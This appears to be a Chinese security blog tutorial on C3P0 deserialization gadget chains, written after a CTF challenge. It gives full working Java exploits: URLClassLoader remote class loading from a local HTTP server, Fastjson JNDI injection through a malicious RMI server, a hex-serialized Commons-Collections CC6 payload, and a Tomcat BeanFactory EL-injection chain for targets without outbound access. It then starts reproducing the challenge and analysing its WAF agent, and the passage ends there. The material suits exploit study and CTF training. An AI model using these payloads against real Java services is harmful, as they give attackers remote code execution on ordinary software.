前言
在比赛中碰到了这条链子,之前没接触过,简单学习一下。
组件简介
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
环境搭建
添加Maven依赖如下
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
Gadget
C3P0常见的利用方式有如下三种
- URLClassLoader远程类加载
- JNDI注入
- 利用HEX序列化字节加载器进行反序列化攻击
URLClassLoader远程类加载
利用链
该利用链最终能进行任意远程类加载
PoolBackedDataSourceBase#readObject ->
ReferenceSerialized#getObject ->
ReferenceableUtils#referenceToObject ->
ObjectFactory#getObjectInstance
利用链分析
漏洞出现在PoolBackedDataSourceBase
这个类的readObject
中。如果反序列化得到的类是IndirectlySerialized
的实例,则会调用其getObject()
方法,然后将返回的类转为ConnectionPoolDataSource
类
private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException
{
short version = ois.readShort();
switch (version)
{
case VERSION:
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
Object o = ois.readObject();
//漏洞触发入口
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
}
this.dataSourceName = (String) ois.readObject();
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
...
}
}
在跟进下一步的getObject()
方法之前,我们先来看看ConnectionPoolDataSource
这个接口
很明显,这个接口并没有继承Serializable
接口,因此不能直接被序列化。所以我们上文提到的IndirectlySerialized
类可以看作是ConnectionPoolDataSource
的包装类。
那么ConnectionPoolDataSource
是如何被包装的呢?我们可以在序列化入口PoolBackedDataSourceBase#writeObject
方法中看到序列化时包装ConnectionPoolDataSource
类的具体流程
private void writeObject( ObjectOutputStream oos ) throws IOException
{
oos.writeShort( VERSION );
try
{
//test serialize
SerializableUtils.toByteArray(connectionPoolDataSource);
oos.writeObject( connectionPoolDataSource );
}
catch (NotSerializableException nse)
{
com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
try
{
Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );
}
...
}
首先尝试序列化ConnectionPoolDataSource
类,失败则调用
ReferenceIndirector.indirectForm(connectionPoolDataSource)
对其进行包装
public IndirectlySerialized indirectForm( Object orig ) throws Exception
{
Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}
最终会返回一个ReferenceSerialized
类
所以ConnectionPoolDataSource
类经过序列化后,得到的最终是ReferenceSerialized
类,因此在PoolBackedDataSourceBase#readObject
中调用的其实是ReferenceSerialized#getObject()
方法
public Object getObject() throws ClassNotFoundException, IOException
{
try
{
Context initialContext;
if ( env == null )
initialContext = new InitialContext();
else
initialContext = new InitialContext( env );
Context nameContext = null;
if ( contextName != null )
nameContext = (Context) initialContext.lookup( contextName );
return ReferenceableUtils.referenceToObject( reference, name, nameContext, env );
}
catch (NamingException e)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
}
}
由于C3P0支持JNDI绑定,因此这里出现了initialContext.lookup
方法。但实际上在反序列化时我们是无法调用到该方法的,因为属性contextName
为默认null
且不可控。
那我们接分析下面的ReferenceableUtils.referenceToObject()
方法
public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
throws NamingException
{
try
{
String fClassName = ref.getFactoryClassName();
String fClassLocation = ref.getFactoryClassLocation();
ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();
ClassLoader cl;
if ( fClassLocation == null )
cl = defaultClassLoader;
else
{
URL u = new URL( fClassLocation );
cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
}
Class fClass = Class.forName( fClassName, true, cl );
ObjectFactory of = (ObjectFactory) fClass.newInstance();
return of.getObjectInstance( ref, name, nameCtx, env );
}
catch ( Exception e )
{
if (Debug.DEBUG)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.FINE ) )
logger.log( MLevel.FINE, "Could not resolve Reference to Object!", e);
}
NamingException ne = new NamingException("Could not resolve Reference to Object!");
ne.setRootCause( e );
throw ne;
}
}
很明显,该方法是用来进行类加载的。如果设置了一个远程工厂类地址fClassLocation
,则会使用URLClassLoader进行远程类加载。
利用链构造
首先我们构造一个包含远程恶意类的ConnectionPoolDataSource
类
package C3P0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0_URLClassLoader {
public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return new Reference("ExpClass","exp","http://127.0.0.1:8888/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
//序列化
public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值为我们的恶意ConnectionPoolDataSource类
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);
//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);
}
//反序列化
public static void Pool_Deserial() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
EXP_Loader exp_loader = new EXP_Loader();
Pool_Serial(exp_loader);
Pool_Deserial();
}
}
然后将远程恶意类放置到服务器上
import java.io.IOException;
public class exp {
public exp() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
JNDI注入
这条链子依赖于Fastjson或Jackson反序列化漏洞。
利用链
#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->
JndiRefForwardingDataSource#setJndiName
#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup
利用链分析
漏洞点位于JndiRefConnectionPoolDataSource
类中,该类中存在许多setter和getter。其中可以通过setJndiName
方法给属性jndiName
赋值。
JndiRefForwardingDataSource jrfds;
...
public void setJndiName( Object jndiName ) throws PropertyVetoException
{ jrfds.setJndiName( jndiName ); }
...
public void setJndiName( Object jndiName ) throws PropertyVetoException
{
Object oldVal = this.jndiName;
if ( ! eqOrBothNull( oldVal, jndiName ) )
vcs.fireVetoableChange( "jndiName", oldVal, jndiName );
this.jndiName = (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName /* String */);
if ( ! eqOrBothNull( oldVal, jndiName ) )
pcs.firePropertyChange( "jndiName", oldVal, jndiName );
}
另外,在JndiRefConnectionPoolDataSource#setLoginTimeout
中,会调用WrapperConnectionPoolDataSource
的同名方法
public void setLoginTimeout(int seconds)
throws SQLException
{ getNestedDataSource().setLoginTimeout( seconds ); }
这里getNestedDataSource()
方法获取nestedDataSource
属性值,通过调试可以知道该值是JndiRefForwardingDataSource
类,因此这里调用的最终是JndiRefForwardingDataSource#setLoginTimeout
//JndiRefForwardingDataSource#setLoginTimeout
public void setLoginTimeout(int seconds) throws SQLException
{ inner().setLoginTimeout( seconds ); }
跟进inner()
方法
private synchronized DataSource inner() throws SQLException
{
if (cachedInner != null)
return cachedInner;
else
{
DataSource out = dereference();
if (this.isCaching())
cachedInner = out;
return out;
}
}
调用了dereference()
方法,最终在该方法中触发lookup方法
//MT: called only from inner(), effectively synchrtonized
private DataSource dereference() throws SQLException
{
Object jndiName = this.getJndiName();
Hashtable jndiEnv = this.getJndiEnv();
try
{
InitialContext ctx;
if (jndiEnv != null)
ctx = new InitialContext( jndiEnv );
else
ctx = new InitialContext();
if (jndiName instanceof String)
//JNDI利用点
return (DataSource) ctx.lookup( (String) jndiName );
else if (jndiName instanceof Name)
return (DataSource) ctx.lookup( (Name) jndiName );
else
throw new SQLException("Could not find ConnectionPoolDataSource with " +
"JNDI name: " + jndiName);
}
catch( NamingException e )
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "An Exception occurred while trying to look up a target DataSource via JNDI!", e );
throw SqlUtils.toSQLException( e );
}
}
利用链构造
在Fastjson漏洞环境下
import com.alibaba.fastjson.JSON;
import java.sql.SQLException;
public class C3P0 {
public static void main(String[] args) throws SQLException {
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"JndiName\":\"rmi://127.0.0.1:1099/hello\", " +
"\"LoginTimeout\":0" +
"}";
JSON.parse(payload);
}
}
恶意RMI服务器
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMI_Server_Reference {
void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("RMIHello","RMIHello","http://127.0.0.1:8888/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/hello",refObjWrapper);
System.out.println("Registry运行中......");
}
public static void main(String[] args) throws Exception {
new RMI_Server_Reference().register();
}
}
既然是JNDI注入,那么同样会受到JDK版本的限制。这里我使用的JDK版本为JDK8u65
。高版本的JDK及Fastjson的情况可以通过加载本地类进行攻击,参考我以前的文章Java安全学习——JNDI注入。
利用HEX序列化字节加载器进行反序列化攻击
该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件。
利用链
#设置userOverridesAsString属性值
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
#初始化类时反序列化十六进制字节流
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
C3P0ImplUtils#parseUserOverridesAsString ->
SerializableUtils#fromByteArray ->
SerializableUtils#deserializeFromByteArray ->
ObjectInputStream#readObject
利用链分析
在WrapperConnectionPoolDataSource
类的构造函数中,我们看属性userOverrides
是如何被赋值的
public WrapperConnectionPoolDataSource(boolean autoregister)
{
super( autoregister );
setUpPropertyListeners();
//set up initial value of userOverrides
try
{ this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( this.getUserOverridesAsString() ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + this.getUserOverridesAsString(), e );
}
}
调用了C3P0ImplUtils#parseUserOverridesAsString
方法,参数为userOverridesAsString
属性。跟进看一下
public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
{
if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}
else
return Collections.EMPTY_MAP;
}
从函数名及返回值来看,该函数能够将一串十六进制字符解析成一个Map类。首先将十六进制转换成字节数组,然后调用SerializableUtils#fromByteArray
方法解析字节数组。值得注意的是,在解析过程中调用了substring()方法将字符串头部的HASM_HEADER
截去了,因此我们在构造时需要在十六进制字符串头部加上HASM_HEADER
,并且会截去字符串最后一位,所以需要在结尾加上一个;
public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
Object out = deserializeFromByteArray( bytes );
if (out instanceof IndirectlySerialized)
return ((IndirectlySerialized) out).getObject();
else
return out;
}
...
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}
最终调用到readObject()
方法进行反序列化
利用链构造
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class C3P0_Hex {
//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc");
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"eee");
lazyMap.remove("abc");
//反射修改LazyMap类的factory属性
Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
return hashMap2;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));
System.out.println(hex);
//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);
}
}
在低版本Fastjson的情况下,实际上也可以使用下面的Payload
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
这里WrapperConnectionPoolDataSource
类只初始化了一次,为什么仍然能进行反序列化操作呢?答案在WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
中。
实际上Fastjson初始化WrapperConnectionPoolDataSource
类时,userOverridesAsString
属性是空的,要想进行反序列化操作,必须先给其赋值。理论上来说,要想解析userOverridesAsString
属性,至少需要调用两次构造函数。
看WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
当我们调用该setter时,首先会与旧的userOverridesAsString
属性比较,这里旧值为null
,新值为我们构造的userOverridesAsString
,因此这里会进入if判断。跟进vcs.fireVetoableChange
,最终到WrapperConnectionPoolDataSource#vetoableChange
。注意这里传入的propertyName
参数值为userOverridesAsString
public void vetoableChange(PropertyChangeEvent evt ) throws PropertyVetoException
{
String propName = evt.getPropertyName();
Object val = evt.getNewValue();
if ( "connectionTesterClassName".equals( propName ) )
{
try
{ recreateConnectionTester( (String) val ); }
catch ( Exception e )
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e );
throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
}
}
//此处进行解析
else if ("userOverridesAsString".equals( propName ))
{
try
{ WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e );
throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
}
}
}
如果propName
变量为userOverridesAsString
,则会直接反序列化传入的十六进制字符串并将返回的对象赋值给userOverrides
属性。C3P0通过这种方式,在set完userOverridesAsString
属性后直接对其进行解析,减少了一次类初始化操作。
因此在实际利用的时候,我们只需要调用一次setUserOverridesAsString
函数即可,C3P0后续会自动解析传入的十六进制字符串。
C3P0不出网利用
不论是URLClassLoader加载远程类,还是JNDI注入,都需要目标机器能够出网。而加载Hex字符串的方式虽然不用出网,但却有Fastjson等的相关依赖。那么如果目标机器不出网,又没有Fastjson依赖的话,C3P0链又该如何利用呢?
在JNDI高版本利用中,我们可以加载本地的Factory类进行攻击,而利用条件之一就是该工厂类至少存在一个getObjectInstance()
方法。比如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory
进行EL表达式注入
我们再回头看C3P0中利用URLClassLoader进行任意类加载的攻击方式
在实例化完我们的恶意类之后,调用了恶意类ObjectFactory.getObjectInstance()
。由于可以实例化任意类,所以我们可以将该类设置为本地的BeanFactory
类。在不出网的条件下可以进行EL表达式注入,利用方式类似JNDI的高版本绕过。当然了,这种利用方式需要存在Tomcat8相关依赖环境
利用链构造
由于BeanFactory
中需要Reference
为ResourceRef
类,因此在getReference()
中我们实例化ResourceRef
类,剩下的构造就和高版本JNDI类似了
package C3P0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0_Tomcat8 {
public static class Tomcat8_Loader implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
//序列化
public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);
//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);
}
//反序列化
public static void Pool_Deserial() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Tomcat8_Loader tomcat8_loader = new Tomcat8_Loader();
Pool_Serial(tomcat8_loader);
Pool_Deserial();
}
}
注意,由于Tomcat8的EL依赖可能不完整,利用的时候可能会失败,最好依赖下面两个包
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
例题复现
这道题目的作者给出的WP已经很详尽了,不过我还是觉得有必要复现一下。
源码分析
题目给了源码,DemoApplication.jar和waf.jar以及一个Dockerfile
From openjdk:8u212-slim
RUN apt-get update -y \
&& apt-get install curl -y \
&& useradd ctf \
&& mkdir /opt/app
COPY ./conf/src/DemoApplication.jar /opt/app
COPY ./conf/src/waf.jar /opt/app
COPY ./conf/start.sh /
COPY ./conf/flag /
RUN chmod +x /start.sh
WORKDIR /opt/app
USER ctf
CMD ["sh", "-c", "/start.sh"]
EXPOSE 8080
我们先看一下DemoApplication
很明显是一个Springboot应用,先看一下Controller
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.demo.controllers;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import java.util.Base64.Decoder;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class IndexController {
public IndexController() {
}
@ResponseBody
@RequestMapping({"/"})
public String index() {
return "welcome join us.\n it is very easy!";
}
@ResponseBody
@RequestMapping({"/ctf"})
public String readObject(@RequestParam(name = "data",required = true) String data) throws Exception {
byte[] bytes = base64Decode(data);
Pattern pattern = Pattern.compile("ldap", 2);
Matcher matcher = pattern.matcher(new String(bytes));
if (matcher.find()) {
return "don not like ldap";
} else {
InputStream inputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
return "oops!";
}
}
public static byte[] base64Decode(String base64) {
Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}
}
/ctf
路由能够反序列化Base64字符串,同时正则过滤掉了ldap
关键字。我们看一下lib
下的依赖
c3p0-0.9.5.5.jar
jackson-annotations-2.13.0.jar
jackson-core-2.13.0.jar
jackson-databind-2.13.0.jar
jackson-datatype-jdk8-2.13.0.jar
jackson-datatype-jsr310-2.13.0.jar
jackson-module-parameter-names-2.13.0.jar
jakarta.annotation-api-1.3.5.jar
jul-to-slf4j-1.7.32.jar
log4j-api-2.14.1.jar
log4j-to-slf4j-2.14.1.jar
logback-classic-1.2.7.jar
logback-core-1.2.7.jar
mchange-commons-java-0.2.19.jar
slf4j-api-1.7.32.jar
snakeyaml-1.29.jar
spring-aop-5.3.13.jar
spring-beans-5.3.13.jar
spring-boot-2.6.1.jar
spring-boot-autoconfigure-2.6.1.jar
spring-boot-jarmode-layertools-2.6.1.jar
spring-context-5.3.13.jar
spring-core-5.3.13.jar
spring-expression-5.3.13.jar
spring-jcl-5.3.13.jar
spring-web-5.3.13.jar
spring-webmvc-5.3.13.jar
tomcat-embed-core-9.0.55.jar
tomcat-embed-el-9.0.55.jar
tomcat-embed-websocket-9.0.55.jar
比较显眼的有c3p0-0.9.5.5.jar
,snakeyaml-1.29.jar
,tomcat-embed-el-9.0.55.jar
。很明显这里是打C3P0这条链子。常规思路有好几种利用方式,但是题目还配置了waf.jar,我们来看一下
有一个AgentDemo,关于JavaAgent可以参考我以前这篇文章
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.io.File;
import java.io.UnsupportedEncodingException;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.net.URLDecoder;
import java.security.ProtectionDomain;
import java.util.List;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
public class AgentDemo {
public AgentDemo() {
}
public static void main(String[] args) throws Throwable {
Class.forName("sun.tools.attach.HotSpotAttachProvider");
List<VirtualMachineDescriptor> vms = VirtualMachine.list();
String targetPid = null;
for(int i = 0; i < vms.size(); ++i) {
VirtualMachineDescriptor vm = (VirtualMachineDescriptor)vms.get(i);
if (vm.displayName().contains("DemoApplication")) {
System.out.println(vm.displayName());
targetPid = vm.id();
System.out.println(targetPid);
}
}
VirtualMachine virtualMachine = VirtualMachine.attach(targetPid);
virtualMachine.loadAgent(getJarFileByClass(AgentDemo.class), (String)null);
virtualMachine.detach();
}
public static String getJarFileByClass(Class cs) {
String fileString = null;
if (cs != null) {
String tmpString = cs.getProtectionDomain().getCodeSource().getLocation().getFile();
if (tmpString.endsWith(".jar")) {
try {
fileString = URLDecoder.decode(tmpString, "utf-8");
} catch (UnsupportedEncodingException var4) {
fileString = URLDecoder.decode(tmpString);
}
}
}
return (new File(fileString)).toString();
}
public static void agentmain(String agentOps, Instrumentation inst) throws Exception {
simpleDemo0(agentOps, inst);
simpleDemo1(agentOps, inst);
}
public static void simpleDemo0(String agentOps, final Instrumentation inst) throws Exception {
inst.addTransformer(new ClassFileTransformer() {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if ("org/apache/tomcat/util/net/SocketBufferHandler".equals(className)) {
try {
AgentDemo.el(inst, loader);
} catch (Exception var7) {
var7.printStackTrace();
}
}
return null;
}
}, true);
}
public static void simpleDemo1(String agentOps, final Instrumentation inst) throws Exception {
inst.addTransformer(new ClassFileTransformer() {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if ("org/apache/tomcat/util/net/SocketBufferHandler".equals(className)) {
try {
AgentDemo.c3p0(inst, loader);
} catch (Exception var7) {
var7.printStackTrace();
}
}
return null;
}
}, true);
}
public static byte[] el(Instrumentation inst, ClassLoader loader) throws Exception {
Class<?> elProcessorClass = Class.forName("javax.el.ELProcessor", true, loader);
ClassPool classPool = new ClassPool(true);
classPool.insertClassPath(new ClassClassPath(elProcessorClass));
classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader()));
CtClass ctClass = classPool.get(elProcessorClass.getName());
CtMethod ctMethod = ctClass.getMethod("eval", "(Ljava/lang/String;)Ljava/lang/Object;");
ctMethod.insertBefore(String.format(" if (expression!=null){\n return null;\n }", AgentDemo.class.getName()));
inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(elProcessorClass, ctClass.toBytecode())});
ctClass.detach();
return ctClass.toBytecode();
}
public static byte[] c3p0(Instrumentation inst, ClassLoader loader) throws Exception {
Class<?> aClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized", true, loader);
ClassPool classPool1 = new ClassPool(true);
classPool1.insertClassPath(new ClassClassPath(aClass));
classPool1.insertClassPath(new LoaderClassPath(aClass.getClassLoader()));
CtClass ctClass1 = classPool1.get(aClass.getName());
CtMethod ctMethod1 = ctClass1.getMethod("getObject", "()Ljava/lang/Object;");
ctMethod1.insertBefore(String.format(" if (reference!=null){\n return null;\n }", AgentDemo.class.getName()));
inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(aClass, ctClass1.toBytecode())});
ctClass1.detach();
return ctClass1.toBytecode();
}
}
主类中首先获取连接DemoApplication
的JVM,然后调用getJarFileByClass
函数获取参数类所在jar包,并将其作为agentmain-Agent
注入。
